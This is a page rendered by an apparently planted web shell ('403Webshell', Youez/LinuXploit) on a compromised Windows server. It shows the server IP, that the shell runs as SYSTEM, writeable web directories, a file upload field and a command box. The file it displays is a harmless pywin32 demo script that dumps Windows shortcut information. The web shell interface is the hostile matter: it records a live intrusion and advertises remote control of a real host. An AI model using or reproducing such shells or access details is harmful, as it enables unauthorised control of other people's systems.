403Webshell
Server IP : 123.56.80.60  /  Your IP : 216.73.216.78
Web Server : Apache/2.4.54 (Win32) OpenSSL/1.1.1s PHP/7.4.33 mod_fcgid/2.3.10-dev
System : Windows NT iZhx3sob14hnz7Z 10.0 build 14393 (Windows Server 2016) i586
User : SYSTEM ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files/python/Lib/site-packages/win32comext/shell/demos/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Program Files/python/Lib/site-packages/win32comext/shell/demos/dump_link.py
# dump_link.py - dumps information about shell shortcuts
#
import sys, os
from win32com.shell import shell, shellcon
import pythoncom
import glob
from win32com.storagecon import *

def DumpLink(fname):
	shellLink = pythoncom.CoCreateInstance(shell.CLSID_ShellLink, None, pythoncom.CLSCTX_INPROC_SERVER, shell.IID_IShellLink)
	persistFile = shellLink.QueryInterface(pythoncom.IID_IPersistFile)
	persistFile.Load(fname,STGM_READ)
	shellLink.Resolve(0, shell.SLR_ANY_MATCH | shell.SLR_NO_UI)
	fname, findData = shellLink.GetPath(0)
	print("Filename:", fname, ", UNC=", shellLink.GetPath(shell.SLGP_UNCPRIORITY)[0])
	print("Description:", shellLink.GetDescription())
	print("Working Directory:", shellLink.GetWorkingDirectory())
	print("Icon:", shellLink.GetIconLocation())

def FavDumper(nothing, path, names):
	# called by os.path.walk
	for name in names:
		print(name, end=' ') 
		try:
			DumpLink(name)
		except pythoncom.com_error:
			print(" - not a link")

def DumpFavorites():
	favfold = str(shell.SHGetSpecialFolderPath(0, shellcon.CSIDL_FAVORITES))
	print("Your favourites are at", favfold)
	os.path.walk(favfold, FavDumper, None)

if __name__=='__main__':
	if len(sys.argv)>1:
		for fspec in sys.argv[1:]:
			files = glob.glob(fspec)
			if files:
				for file in files:
					print(file)
					DumpLink(file)
					print()
			else:
				print("Can not find", fspec)
	else:
		print("Dumping your favorites folder!")
		DumpFavorites()

Youez - 2016 - github.com/yon3zu
LinuXploit